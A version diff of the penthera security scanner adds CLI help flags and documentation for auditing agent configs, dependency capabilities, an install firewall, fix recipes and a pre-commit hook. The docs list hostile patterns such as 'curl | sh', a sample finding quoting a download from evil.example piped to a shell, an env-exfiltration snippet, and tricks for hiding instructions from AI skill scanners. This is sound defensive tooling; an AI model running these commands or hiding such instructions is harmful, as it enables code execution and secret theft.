penthera 1.5.0 → 1.6.0

package/bin/scan.js

@@ -3,8 +3,27 @@
  * Interactive scan — delegates to PostHog-style onboarding wizard.
  * Alias: penthera-scan
  */
+import { readFileSync } from "node:fs";
 import { runOnboarding } from "../src/cli/onboarding.js";
 
+const arg = process.argv[2];
+if (arg === "--help" || arg === "-h") {
+  process.stdout.write(`
+  penthera-scan — interactive scan wizard (asks for a URL, then scans)
+
+  Usage
+    $ penthera-scan
+
+  For flags and non-interactive scans, see: penthera --help
+`);
+  process.exit(0);
+}
+if (arg === "--version") {
+  const pkg = JSON.parse(readFileSync(new URL("../package.json", import.meta.url), "utf-8"));
+  console.log(pkg.version);
+  process.exit(0);
+}
+
 runOnboarding().catch((e) => {
   console.error(e.message);
   process.exit(2);

package/docs/commands/README.md

@@ -0,0 +1,23 @@
+# Commands
+
+One page per command, with every flag that matters and an example. The
+[README](../../README.md) has the short version; `penthera <command> --help`
+has the full flag list.
+
+| Command | Page | What it does |
+|---|---|---|
+| `penthera <url>`, `--repo .` | [scan.md](scan.md) | Scan a running app and its source: modes, profiles, outputs, exit codes, CI |
+| `penthera agents` | [agents.md](agents.md) | Audit skills, MCP servers, hooks, plugins and rule files |
+| `penthera deps` | [deps.md](deps.md) | What each package can do, the upgrade diff, typosquats, license policy |
+| `penthera install` | [install.md](install.md) | Check a new package before any install script runs |
+| `penthera fix`, `penthera agent --loop` | [fix.md](fix.md) | Deterministic fix recipes and the local scan, fix, verify loop |
+| `penthera hook` | [hook.md](hook.md) | Pre-commit hook for secrets, agent config and dependency changes |
+| GitHub Action | [action.md](action.md) | The capability diff as a pull-request comment, plus SARIF |
+| Agent Skill | [skill.md](skill.md) | Let Claude Code, Cursor and other agents drive Penthera |
+| `penthera ui` | [dashboard.md](../dashboard.md) | The local dashboard: posture, findings, history, evidence, and the fix loop from the page |
+
+Compliance flags (`--framework nis2`, `--readiness`, `--cra`, `--aibom`, ...)
+are covered in [compliance-nis2.md](../compliance-nis2.md) and
+[compliance-cra.md](../compliance-cra.md). Reports and evidence bundles are in
+[evidence.md](../evidence.md). Network use and `--offline` are in
+[privacy.md](../privacy.md).

package/docs/commands/action.md

@@ -0,0 +1,21 @@
+# The GitHub Action
+
+### Use as a GitHub Action
+
+```yaml
+- uses: danoszz/penthera@<release-commit-sha> # v1.4.0
+  with:
+    mode: deps        # deps | agents | scan (scan also needs url:)
+    fail-on: none     # none | high | critical
+```
+
+On every pull request it posts one comment with the capability diff against
+the PR base and edits that same comment on each push. It also uploads SARIF to
+code scanning. Penthera runs from the action's own checkout: no npx, no install
+from npm, no registry lookups. On fork PRs the token is read-only, so the diff
+goes to the job summary instead. Inputs: `mode`, `path`, `base-ref`, `url`,
+`fail-on`, `comment`, `sarif`, `penthera-version`. Copy the full workflow, with
+permissions and a lockfile paths filter, from
+[`docs/examples/pr-dependency-review.yml`](../examples/pr-dependency-review.yml).
+
+[Back to the README](../../README.md) · [All commands](README.md)

package/docs/commands/agents.md

@@ -0,0 +1,38 @@
+# Auditing your AI tooling: `penthera agents`
+
+## Audit your agent setup
+
+Your AI tools run code too. `penthera agents` audits the skills, MCP servers,
+hooks, permissions, plugins and rule files that Claude Code, Cursor, Claude
+Desktop, VS Code and Copilot load, and grades the setup A to F.
+
+```bash
+penthera agents                 # this repo: .mcp.json, .claude/, .cursor/, AGENTS.md, CLAUDE.md, skills/
+penthera agents --home          # + ~/.claude (hooks, permissions, plugins, skills), ~/.cursor/mcp.json, Claude Desktop
+penthera agents ./some-skill    # vet a downloaded skill before you install it
+penthera agents --pin           # write penthera.lock; later runs flag anything that changed
+```
+
+It is **offline and deterministic**: no LLM judge, no registry lookups, nothing
+leaves your machine, and it never modifies the config it reads. Every verdict
+is a rule you can read in [`lib/agents/`](../../lib/agents/), so a skill can't talk
+its way past it.
+
+| Check | What it catches |
+|---|---|
+| Hidden content | Unicode tag characters (decoded), zero-width and bidi controls, variation-selector smuggling, text pushed past a wall of blank lines or off-screen, instructions in HTML comments, text addressed to the scanner, base64 blobs (decoded and classified), `.pyc`/archives/executables in a skill folder (by magic bytes, so a renamed `.png` doesn't hide one), symlinks that leave the folder |
+| Code execution | `curl \| sh`, `wget \| bash`, `bash <(curl …)`, `eval "$(curl …)"`, `base64 -d \| sh`, `exec(base64…)`, PowerShell `iwr \| iex`, in skills, scripts, hooks and MCP launch commands |
+| MCP servers | `npx -y` / `uvx` / `bunx` / `pnpm dlx` without an exact version, inline secrets in `env`, headers or args (same rules as the repo secret scan), remote servers over plain `http://` |
+| Hooks & permissions | Hooks that auto-approve tool calls or pipe into a shell (including the scripts they run), `Bash(*)` and other wildcard allows, `bypassPermissions`, allow rules for `~/.ssh` and other credential files, wildcards in a skill's `allowed-tools` |
+| Plugins | Marketplaces and marketplace plugins not pinned to a commit |
+| Rug pulls | `--pin` writes SHA-256 hashes of every skill folder, MCP server definition, hook and installed plugin to `penthera.lock`. A later run reports what changed, appeared or disappeared |
+
+Each finding names the OWASP [MCP Top 10](https://owasp.org/www-project-mcp-top-10/)
+and [Agentic Top 10](https://genai.owasp.org/) (ASI) ids it maps to, and the
+usual `--json`, `-o`, `--markdown` and `--sarif` outputs all work. The scanner
+is built for the ways LLM-judged skill scanners have been bypassed: it reads
+whole files (no context window to overflow), every file in a skill folder (not
+just `SKILL.md`), and treats text aimed at a reviewer as a finding rather than
+an argument.
+
+[Back to the README](../../README.md) · [All commands](README.md)

package/docs/commands/deps.md

@@ -0,0 +1,115 @@
+# Dependency risk: `penthera deps`
+
+## Dependency risk: what can your packages do?
+
+A lockfile change is code you did not write, about to run with your app's access
+to files, network, environment and CI secrets. `penthera deps` reads
+`package-lock.json`, statically scans every installed package, and tells you
+what each one *can do*, and which packages are new or gained capabilities in an
+upgrade.
+
+```bash
+penthera deps                          # every package in node_modules
+penthera deps --base origin/main       # capability diff vs the lockfile on main
+penthera deps --diff ../base-checkout  # diff vs another installed tree (or an old package-lock.json)
+penthera deps --pr-comment deps.md     # short Markdown diff for a PR comment
+```
+
+```
+  ▲ net-helper 1.0.0 → 1.1.0  + network, whole environment
+      node_modules/net-helper/index.js:3  const https = require('https');
+      node_modules/net-helper/index.js:5  const body = JSON.stringify(process.env);
+```
+
+| Capability | Detected from |
+|---|---|
+| Install scripts | `preinstall` / `install` / `postinstall`, and `binding.gyp` (npm runs `node-gyp` implicitly). Flagged as risky when the hook pipes a download to a shell or runs a file with network or decoding code |
+| Shell, network, dynamic code | `child_process`; `http`/`https`/`net`/`dgram`/`tls`/`http2`, `fetch`, `WebSocket`; `eval`, `new Function`, `vm` |
+| Environment | `process.env` reads, and bulk access (`JSON.stringify(process.env)`, enumeration). Serialising the environment next to network code is reported as likely exfiltration |
+| Files, modules, native | Writes near home-directory or system paths; computed `require()`/`import()`; `.node` addons and `binding.gyp` |
+| Obfuscation | Obfuscator identifiers (`_0x…`), `\x`-escape density, encoded blobs that are decoded and run (embedded WebAssembly and ANSI colour codes are recognised and ignored) |
+| Attack indicators | Writes to `~/.claude`, `~/.cursor`, `.mcp.json` or the Claude Desktop config; running the `claude`, `gemini` or `q` CLIs (the s1ngularity pattern); GitHub token harvesting |
+| Typosquats | Edit distance, separator and suffix tricks against ~7,800 popular npm names, vendored in the package and refreshed at release time |
+
+Every capability carries `file:line` evidence. It is a regex-and-tokenizer pass,
+not a full parser: deterministic, never executes package code, and fast enough
+for every PR (0.4 s for Penthera's own 61 packages, 5 to 16 s for real app
+trees of 500 to 1,700 packages). A capability is what code
+*can* do, not proof that it is malicious; the findings carry honest confidence
+labels (`potential` for obfuscation and typosquats).
+
+**Offline by default.** Old versions for the diff come from the base tree's
+`node_modules` or from npm's local cache (`~/.npm/_cacache`), looked up by the
+lockfile's integrity hash and verified byte for byte. `--online` is the only
+network use: it asks the npm registry for publish dates, publisher changes and
+deprecations, and fetches old tarballs the cache does not have (verified the
+same way). To comment the capability diff on every PR that changes the
+lockfile, use the GitHub Action below.
+
+### npm and Python
+
+The same command reads Python projects: `uv.lock`, `poetry.lock`, `pdm.lock`,
+`Pipfile.lock` or `requirements*.txt` (pinned and `--hash` lines), and the
+installed `.venv` / `venv` (or `--venv <path>`) through
+`site-packages/*.dist-info` `RECORD` files, without running pip or Python. A
+repo with both a `package-lock.json` and Python inputs gets one combined report.
+
+```bash
+penthera deps                          # uv.lock + .venv
+penthera deps --venv ~/.venvs/app      # a virtualenv somewhere else (no lockfile needed)
+penthera deps --base origin/main       # capability diff vs the Python lockfile on main
+```
+
+Capabilities and evidence are the same as for npm (`subprocess`/`os.system`,
+`socket`/`requests`/`httpx`/`aiohttp`, `os.environ` bulk access,
+`eval`/`exec`/`compile`, computed `__import__`, native `.so`/`.pyd`, AI-agent
+indicators), plus what is specific to Python: `setup.py` custom commands
+(install-time code), `.pth` files with `import` lines (they run on every
+interpreter start, a known persistence trick), unpickling, `exec` of a
+base64/zlib-decoded payload, installed files that no longer match their
+`RECORD` hash, and `.pth` files no distribution owns. Old versions for the diff
+come from pip's HTTP cache (matched by the lockfile's sha256) or uv's cache
+(by recorded hash), otherwise they are marked "not compared". Typosquats are
+checked against the top 8,000 PyPI projects, PEP 503 normalised.
+`--online` registry checks are npm-only for now.
+
+### License policy
+
+```bash
+penthera deps --license-policy permissive        # or weak-copyleft-ok, no-agpl
+penthera deps --license-policy legal/policy.json # a file with a "licenses" section
+```
+
+Without the flag, `penthera deps` applies the `licenses` section of
+`penthera.policy.json` when there is one:
+
+```json
+{
+  "licenses": {
+    "preset": "permissive",
+    "allow": ["Python-2.0"],
+    "deny": ["WTFPL"],
+    "allowPackages": ["@acme/*", "sharp@0.33.5"],
+    "unknown": "warn"
+  }
+}
+```
+
+| Preset | Allows |
+|---|---|
+| `permissive` | MIT, ISC, BSD, Apache-2.0, 0BSD, Unlicense, CC0, Zlib, BlueOak and similar. Everything else breaches |
+| `weak-copyleft-ok` | `permissive` plus LGPL, MPL, EPL, CDDL and Artistic-2.0 |
+| `no-agpl` | Anything except AGPL and SSPL (network copyleft) |
+
+Licenses come from the lockfile (npm records them in v2 and v3), else from
+the installed `package.json`. Expressions are parsed as SPDX:
+`MIT OR GPL-3.0-only` passes `permissive` because one branch is enough, while
+`MIT AND GPL-3.0-only` does not. Deprecated ids (`GPL-3.0`, `GPL-2.0+`) are
+matched to their current form, so a deny of `AGPL-3.0-only` also catches a
+package that says `AGPL-3.0`. A breach and `UNLICENSED` (no rights granted)
+are high. A missing, custom (`SEE LICENSE IN ...`) or non-SPDX license is
+medium, or high with `"unknown": "block"`. `allowPackages` exempts packages your
+legal review has cleared. Findings use category `license` and appear in every
+output format, and `--sbom` now records each component's license.
+
+[Back to the README](../../README.md) · [All commands](README.md)

package/docs/commands/fix.md

@@ -0,0 +1,53 @@
+# Fixing what it finds: `penthera fix` and `penthera agent --loop`
+
+## Scan and fix
+
+Penthera does not just report problems. It closes the loop: ask your agent to fix what it finds, and it detects the issue, applies a framework-aware fix to your code (shown as a diff for you to approve), and re-scans to prove it is resolved.
+
+```
+"Scan my app and fix what you find"
+"Fix the security headers on my Next.js app and re-scan to confirm"
+"Find and fix hardcoded secrets in this repo"
+```
+
+Fixes come from a [remediation playbook](../../skills/penthera/references/remediation.md) covering Next.js, Express, Fastify, Hono, and FastAPI. They are always shown as diffs for your approval and verified by a re-scan; nothing is applied blindly, and nothing touches production. To build secure-by-default in the first place, see [secure defaults](../../skills/penthera/references/secure-defaults.md).
+
+### Fix recipes
+
+For the most common findings you don't need an agent at all. `penthera fix` plans deterministic, local fixes and prints each one as a unified diff:
+
+```bash
+penthera fix --plan --repo .                  # fresh repo scan, one diff per fix
+penthera fix --plan --repo . -o report.json   # or use the findings from an earlier scan
+penthera fix --apply <id> --repo .            # apply one diff after you approve it
+```
+
+| Recipe | What it changes | Frameworks |
+|--------|-----------------|------------|
+| `security-headers` | Adds a starter CSP (with `frame-ancestors`), HSTS, X-Frame-Options, Referrer-Policy and X-Content-Type-Options | Next.js (`headers()` in `next.config.*`), Express (`helmet` if installed, otherwise a small middleware), Fastify (`@fastify/helmet` if installed, otherwise an `onSend` hook), Hono (`secureHeaders`) |
+| `cookie-flags` | Adds `httpOnly`, `secure` and `sameSite` to cookies set in code | `res.cookie`, `reply.setCookie`, Hono `setCookie`, Next.js `cookies().set` |
+| `cors-allowlist` | Replaces `cors()`, `origin: "*"`, `origin: true` and `origin \|\| "*"` with an allowlist from `CORS_ALLOWED_ORIGINS` | Express, Fastify, Hono, Next.js route handlers |
+| `auth-rate-limit` | Puts a rate-limit stub (in memory, 10 attempts per 15 minutes) on login and auth routes | Express (`express-rate-limit` if installed), Fastify, Hono, Next.js App Router |
+| `secret-to-env` | Moves a hardcoded secret in JS/TS to `process.env.NAME` and adds `NAME=` to `.env.example` | Any |
+
+How it stays safe:
+
+- **Planning never writes.** Applying is a separate step: it needs a plan id plus a `y/N` confirmation (or `--yes`), refuses a dirty git tree unless you pass `--allow-dirty`, refuses any path outside the repo, and writes nothing unless every hunk applies. It never commits or pushes.
+- **Conservative edits.** No AST rewriting: each recipe edits at an anchor it recognises exactly (`const app = express()`, the exported Next.js config object, a one-line `res.cookie(...)`). If the anchor isn't there, or the code already does something custom (an existing `headers()`, cookie options in a variable), the recipe returns no plan instead of a risky diff.
+- **Owner actions are listed, not done.** A recipe can move a secret out of the code but can never rotate it, so every secret fix says "rotate this secret". Other recipes flag what is still on you, such as tightening the starter CSP or setting `CORS_ALLOWED_ORIGINS`.
+- **Secrets stay masked.** The secret's value is masked in printed and `--json` plans.
+- **Verified.** After `--apply`, Penthera re-scans the repo and says whether each finding is gone. Headers, cookies, CORS and rate limits are checked statically from source, so re-run your URL scan to confirm against the live app.
+
+No recipe for a finding? `--fix-model <name>` can ask a model running in [Ollama](https://ollama.com) on `127.0.0.1:11434`, and nowhere else. It is off by default and only used when no recipe matches. Its diffs are labelled `needs-human-review`.
+
+### The local loop: `penthera agent --loop`
+
+`penthera agent --loop` runs scan → fix → verify → learn on your machine until nothing fixable is left (or `--max-iterations`, default 5):
+
+```bash
+penthera agent --loop --repo . --url http://localhost:3000 -o reports/loop.json
+```
+
+It shows each diff and asks `y/n/skip/quit`, applies it on a local branch `penthera/fix-<yyyymmdd-hhmm>`, re-scans (plus your tests with `--run-tests`), commits the fix if it verified and reverts it if not, and records the outcome in [local memory](../local-loop.md). It refuses a dirty tree or a detached HEAD, runs only an allow-list of local git commands with your repo's hooks disabled, contacts only the `--url` host, and never pushes or opens a pull request. `--auto low` applies without asking only recipes that memory shows verified 3+ times with no failures on your framework. Details and the `loopRun` JSON: [docs/local-loop.md](../local-loop.md#the-agent-loop).
+
+[Back to the README](../../README.md) · [All commands](README.md)

package/docs/commands/hook.md

@@ -0,0 +1,69 @@
+# Pre-commit hook: `penthera hook`
+
+## Block it before it's committed
+
+Once a secret is pushed, rotating it is the only fix. The pre-commit hook runs
+the checks that matter on what you are about to commit, and nothing else:
+
+```bash
+penthera hook install     # writes .git/hooks/pre-commit; an existing hook is kept and runs first
+penthera hook run         # what the hook runs; try it on staged changes
+penthera hook uninstall   # removes it and puts your old hook back
+```
+
+On staged content only (the git index, not your working tree):
+
+- secrets and AI provider keys in staged files;
+- `penthera agents` rules on staged `.mcp.json`, `CLAUDE.md`, `AGENTS.md`,
+  `.cursor/`, `.claude/` and `skills/`;
+- when `package-lock.json` is staged, the capability diff against HEAD's
+  lockfile and the license policy, for the packages this commit adds.
+
+```
+  ✗ penthera blocked this commit: 2 findings at high or above (2 staged files, 1 agent config, 0.1s)
+
+  ✗ CRITICAL .mcp.json  MCP server "x" launches by downloading and running code  id b5914a44a2058da9
+      → Launch command contains a download piped to a shell: `curl https://evil.example/x.sh | sh`.
+  ✗ CRITICAL config.js:1  Anthropic API key in source  sk-a…AAAA  id 7a0eb6998ff38787
+      → Load it from an env var or secret store and unstage the file; rotate it if it was ever pushed or shared.
+
+  Fix and `git add` again. A false positive? Add it to penthera.suppress.json:
+    { "version": 1, "suppress": [{ "id": "b5914a44a2058da9", "reason": "why this is safe" }] }
+  To skip the check for one commit: git commit --no-verify (the finding still ships)
+```
+
+It blocks on high and critical by default and takes about 0.1 to 0.5 s.
+Configure it in `penthera.policy.json`:
+
+```json
+{ "hook": { "blockOn": "high", "ignore": ["tests/fixtures/**"],
+            "checks": { "secrets": true, "agents": true, "deps": true, "licenses": true } } }
+```
+
+If husky or lefthook manage your hooks (`core.hooksPath` is set),
+`penthera hook install` says so instead of overwriting them. Add one line to
+that tool instead:
+
+```bash
+# husky
+echo "npx --no-install penthera hook run" >> .husky/pre-commit
+```
+
+```yaml
+# lefthook.yml
+pre-commit:
+  commands:
+    penthera:
+      run: npx --no-install penthera hook run
+```
+
+```yaml
+# .pre-commit-config.yaml (pre-commit.com)
+repos:
+  - repo: https://github.com/danoszz/penthera
+    rev: <tag or sha>
+    hooks:
+      - id: penthera
+```
+
+[Back to the README](../../README.md) · [All commands](README.md)

package/docs/commands/install.md

@@ -0,0 +1,53 @@
+# Install firewall: `penthera install`
+
+### Install firewall: `penthera install`
+
+`penthera deps` tells you what changed after the fact. `penthera install` asks
+before anything runs:
+
+```bash
+penthera install left-pad             # check, then install (asks if the policy says so)
+penthera install -D vitest --dry-run  # report only
+penthera install --yes                # CI: install only if nothing breaches the policy
+```
+
+```
+  ▲ color-helper 1.0.0 → 1.1.0  + install script
+      postinstall: node postinstall.js
+
+  Policy    defaults (no penthera.policy.json)
+  ! color-helper@1.1.0  needs approval: install script
+
+  Install anyway? [y]es, run the install scripts / [s]kip scripts / [N]o:
+```
+
+1. npm resolves the new tree in a temporary copy of `package.json` and the
+   lockfile, with scripts off (`npm install --package-lock-only --ignore-scripts`).
+2. New tarballs are fetched with `npm cache add`. Nothing is unpacked into
+   `node_modules` and no package code runs; each tarball is checked against
+   the proposed lockfile's integrity before it is read.
+3. The `deps` engine diffs capabilities against your current lockfile, lists
+   new install scripts with their commands, and checks new names for typosquats.
+4. `penthera.policy.json` decides. On approval, the reviewed lockfile is
+   installed as is, with `--ignore-scripts` unless you approved the scripts
+   (on npm 12+, approved scripts are pinned in `package.json` `allowScripts`).
+   On abort, exit code 1, and the project is byte for byte unchanged.
+
+```json
+{
+  "allow": ["@acme/*", "esbuild", "sharp@0.33.5"],
+  "deny": ["ai-cli-invoke", "token-harvest"],
+  "requireApproval": ["install-scripts", "ai-config-write", "ai-cli-invoke",
+                      "token-harvest", "obfuscated", "typosquat", "unscanned"]
+}
+```
+
+`deny` and `requireApproval` take capability ids from the table above
+(`install-scripts`, `shell`, `network`, `env-bulk`, `obfuscated`, ...) plus
+`typosquat` and `unscanned`. The `requireApproval` list shown is the default.
+`allow` takes names or globs, optionally pinned to a version, and overrides
+both. The one network use is npm talking to your configured registry, and
+Penthera prints which one; Penthera itself sends nothing. Workspaces and
+`file:` dependencies are not supported yet.
+
+[Back to the README](../../README.md) · [All commands](README.md)

package/docs/commands/scan.md

@@ -0,0 +1,100 @@
+# Scanning your app: `penthera <url>` and `--repo`
+
+Black-box scans of a running app (localhost, preview, or staging) and white-box scans of its source. The default scan is non-destructive; payload-based testing is opt-in.
+
+## Scan modes and profiles
+
+| Mode | Command | Coverage |
+|------|---------|----------|
+| **URL scan** | `penthera https://example.com` | TLS, fingerprinting, endpoint discovery, templates, CORS, cookies, JS CVEs, param discovery, OpenAPI/FastAPI probes, security headers, auth hardening |
+| **Repo scan** | `penthera --repo ./my-app` | API route discovery (Next.js, Express, Hono, Fastify), trust-boundary mapping, hardcoded-secret scanning (including Anthropic, OpenAI, Gemini, Groq, Hugging Face and other AI provider keys) |
+| **Combined** | `penthera https://staging.app --repo .` | Black-box and white-box in one run |
+| **Interactive** | `penthera` *(no args)* | Guided wizard (URL plus optional repo scan, Markdown report) |
+| **Machine audit** | `penthera --machine` | macOS checks (keyloggers, persistence, rootkits) |
+| **Dependencies** | `penthera deps` | What each npm or Python package can do (install scripts, shell, network, env, eval, native, obfuscation, `.pth` startup hooks), capability diff on upgrades, typosquats. Offline ([deps.md](deps.md)) |
+
+Pick a profile, or add individual flags for more depth:
+
+| Profile | Command | What runs |
+|---------|---------|-----------|
+| **quick** | `--profile quick` | Headers, OpenAPI, auth smoke tests (about 10s) |
+| **standard** | *(default)* | Full non-destructive scan |
+| **deep** | `--profile deep` | recon, injection probes, and API fuzzing |
+
+Individual flags: `--recon`, `--deep`, `--fuzz`, `--adaptive`, `--nuclei <path>`, `--templates <dirs>`, `--all`
+
+## Quick start
+
+```bash
+# First time? Run with no args for guided setup
+penthera
+
+# Safe default scan (non-destructive)
+penthera https://myapp.com
+
+# Staging plus source code, full report set
+penthera https://staging.myapp.com --repo . --all -o reports/scan.json --sarif reports/scan.sarif
+
+# Baseline diff: show only new findings since the last scan
+penthera https://myapp.com -o reports/scan.json --baseline reports/previous.json
+
+# Authenticated scan (session cookie or bearer token)
+PENTHERA_BEARER=eyJ... penthera https://myapp.com --profile standard
+penthera https://myapp.com --auth-cookie "session=abc123"
+```
+
+Writing to `-o reports/scan.json` also drops a human-readable `reports/scan.md`
+next to it. Reports are gitignored by default.
+
+### Exit codes
+
+| Code | Meaning |
+|------|---------|
+| `0` | No critical or high findings |
+| `1` | Critical or high findings detected |
+| `2` | Scan failed (unreachable target, bad config) |
+
+---
+
+## Output
+
+| Format | Flag | Use |
+|--------|------|-----|
+| Terminal | *(default)* | Colored summary plus top 3 fixes |
+| **Markdown** | `--markdown file.md` or `-o file.json` | Human-readable report (exec summary, findings tables, fixes). Written next to `-o` automatically |
+| JSON | `--json` or `-o file.json` | CI pipelines, baseline diffs, custom tooling |
+| SARIF | `--sarif file.sarif` | GitHub Security / Code Scanning tab |
+| Audience report | `--audience developer\|owner\|auditor` | The same scan written for a developer, an owner or an auditor ([docs/evidence.md](../evidence.md#audience-reports)) |
+| Your template | `--report-template file.md` | Your own Markdown with `{{summary.critical}}`, `{{#each findings}}`, `{{#if x}}`; no code runs |
+| **Evidence bundle** | `--evidence <dir> [--sign-key <ssh-key>]` | All reports plus `manifest.json` with SHA-256s, optionally SSH-signed. Auditors check it with `penthera evidence verify <dir> --allowed-signers <file>` ([docs/evidence.md](../evidence.md)) |
+
+## CI integration
+
+```yaml
+# Scan a staging URL on a schedule and upload results to GitHub Security.
+- run: npx penthera@1.6.0 "$PENTEST_URL" --profile standard --sarif reports/scan.sarif
+- uses: github/codeql-action/upload-sarif@6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee # v4.39.0
+  with:
+    sarif_file: reports/scan.sarif
+```
+
+Copy the full workflow from
+[`docs/examples/github-actions-scan.yml`](../examples/github-actions-scan.yml)
+into your app's repo. Pin the Penthera version so a scheduled run never picks up
+code you have not reviewed.
+
+Penthera's own CI runs the full test suite on Node 22 and 24, self-scans a mock
+vulnerable API on every push, and runs CodeQL and OpenSSF Scorecard.
+
+## Configuration
+
+For live integration tests against your own routes:
+
+```bash
+cp pentest.config.example.js pentest.config.js   # gitignored
+```
+
+Edit the route groups, then run `npm run pentest:live`. Set `PENTEST_BASE_URL` to
+point at staging without editing the file.
+
+[Back to the README](../../README.md) · [All commands](README.md)

package/docs/commands/skill.md

@@ -0,0 +1,58 @@
+# Penthera as an Agent Skill
+
+## For your AI coding agent
+
+Penthera ships as an [Agent Skill](https://agentskills.io), the open format used
+by Cursor, Claude Code, Claude.ai, and [40+ agent tools](https://agentskills.io/clients).
+The skill teaches an agent to run authorized scans, pick the right profile, and
+summarize findings, so you can just describe what you want.
+
+**Install** (any of these):
+
+```bash
+# Cross-agent, frictionless
+npx skills add danoszz/penthera
+
+# Or the one-line installer (also links the CLI)
+curl -fsSL https://raw.githubusercontent.com/danoszz/penthera/main/install.sh | bash
+
+# Or copy into a single project for team sharing
+cp -r skills/penthera .cursor/skills/penthera     # Cursor
+cp -r skills/penthera .claude/skills/penthera     # Claude Code
+```
+
+Or as a Claude Code plugin (installs the skill):
+
+```bash
+/plugin marketplace add danoszz/penthera
+/plugin install penthera@penthera
+```
+
+For Claude.ai (web), zip and upload the skill:
+
+```bash
+npm run package:skill   # produces penthera-skill.zip; upload in Settings > Capabilities > Skills
+```
+
+**Prompts that trigger it:**
+
+- "Scan my localhost app on port 3000 for security issues"
+- "Run a pre-deploy audit on staging.myapp.com and summarize critical findings"
+- "Scan this repo for hardcoded secrets and exposed API routes"
+- "Compare today's scan to last week's baseline and show only new findings"
+- "Generate a SARIF report for GitHub code scanning"
+- "Audit my MCP servers, skills and Claude Code hooks"
+
+The skill adds an authorization gate: it instructs the agent to refuse targets you
+do not own or are not authorized to test, and the wizard asks you to confirm before
+scanning a remote host. It is an agent-level and interactive safeguard, not something
+the raw CLI enforces. You are responsible for every target you pass it. Run preflight
+before the first scan:
+
+```bash
+bash skills/penthera/scripts/preflight.sh http://localhost:3000
+```
+
+Skill source and workflows live in [`skills/penthera/SKILL.md`](../../skills/penthera/SKILL.md).
+
+[Back to the README](../../README.md) · [All commands](README.md)

package/docs/compare/README.md

@@ -0,0 +1,25 @@
+# How Penthera compares
+
+Penthera is a free, offline, MIT-licensed toolkit. Most teams that use it also
+use at least one of the tools below, and these pages are written for them: what
+each tool is for, where it goes further than Penthera, and how to run the two
+together.
+
+| Page | In one line |
+|---|---|
+| [Penthera and Socket](socket.md) | Socket watches the package registries; Penthera checks your app and your AI tooling on your machine |
+| [Penthera and Snyk](snyk.md) | Snyk brings curated vulnerability data across many languages; Penthera looks at behaviour, the running app and agent config |
+| [Penthera and GitHub (Dependabot, code scanning)](github.md) | GitHub alerts on known CVEs and runs CodeQL; Penthera's SARIF lands in the same tab |
+| [Penthera and OWASP ZAP](zap.md) | ZAP is the deeper dynamic scanner; Penthera is a quicker first pass with source context |
+| [Penthera and Semgrep](semgrep.md) | Semgrep is the deeper static analyser for your code; Penthera adds dependencies, the live app and AI tooling |
+
+## How these pages are written
+
+- Every claim about another product comes from that product's public docs or
+  pricing page, linked inline. Anything we could not confirm is left out.
+- Each page names where the other tool goes further. Most of them go further
+  than Penthera somewhere.
+- Prices and plans change. Each page has a last-checked date; check the vendor's
+  page before you rely on a number.
+
+Spotted something wrong or out of date? Please open an issue or a pull request.

package/docs/compare/github.md

@@ -0,0 +1,60 @@
+# Penthera and GitHub (Dependabot and code scanning)
+
+*Last checked: 2026-10-19 against GitHub's docs and security plans page.*
+
+## Use them together
+
+If your code is on GitHub, you probably have Dependabot already. It alerts you
+when a dependency has a known, reviewed vulnerability and opens a pull request
+to the patched version. Code scanning with CodeQL finds bugs in your own code.
+Penthera covers what those do not look at: what a package can do when it has no
+advisory yet, the running app, and your AI tooling. Its SARIF output uploads
+into the same code scanning tab, so findings sit in one place.
+
+## Side by side
+
+| | Penthera | Dependabot and code scanning |
+|---|---|---|
+| Dependencies | Capabilities and the upgrade diff, typosquats, licenses; npm and Python | Alerts from GitHub-reviewed advisories in the GitHub Advisory Database ([alerts](https://docs.github.com/en/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)); security and version update PRs |
+| Pull requests | Action that comments the capability diff | Dependency review action that can block a vulnerable change ([dependency review](https://docs.github.com/en/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)) |
+| Your code | Routes, trust boundaries, secrets (JS/TS frameworks) | CodeQL queries across many languages |
+| Secrets | Repo scan and a pre-commit hook on staged files | Secret scanning and push protection ([features](https://docs.github.com/en/code-security/getting-started/github-security-features)) |
+| Running app | URL scan | No |
+| AI tooling | `penthera agents` | No dedicated check |
+| Where it runs | Your machine or any CI, offline | GitHub; the CodeQL CLI also runs locally ([CodeQL CLI](https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/about-the-codeql-cli)) |
+| Cost | Free | Dependabot is free on all plans. Code scanning, dependency review and secret scanning are free on public repos; private repos need GitHub Code Security ($30) or Secret Protection ($19) per active committer a month ([plans](https://github.com/security/plans)) |
+
+## Where GitHub goes further
+
+- **Known-vulnerability coverage** across ecosystems, with update pull requests
+  generated for you. Penthera does not open pull requests at all.
+- **CodeQL** is a far deeper code analyser than Penthera's repo scan.
+- **Push protection** stops secrets on the server side, for every contributor,
+  without anyone installing a hook.
+- **Zero setup** for public repositories.
+
+## Where Penthera adds something
+
+- **Before an advisory exists.** Dependabot needs a reviewed advisory. Penthera's
+  capability diff shows a new install script or network call on the day it
+  appears.
+- **The live app and your agent setup**, which GitHub's tools do not scan.
+- **Private repos without a GitHub Advanced Security licence**, and code that is
+  not on GitHub.
+
+## Run both
+
+Keep Dependabot and code scanning on. Add Penthera's action for the capability
+diff ([docs/commands/action.md](../commands/action.md)) and upload its SARIF:
+
+```yaml
+- run: npx penthera@1.6.0 "$PREVIEW_URL" --sarif reports/scan.sarif
+- uses: github/codeql-action/upload-sarif@6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee # v4.39.0
+  with:
+    sarif_file: reports/scan.sarif
+```
+
+Uploading SARIF to code scanning in a private repository also needs GitHub Code
+Security.
+
+[All comparisons](README.md) · [Back to the README](../../README.md)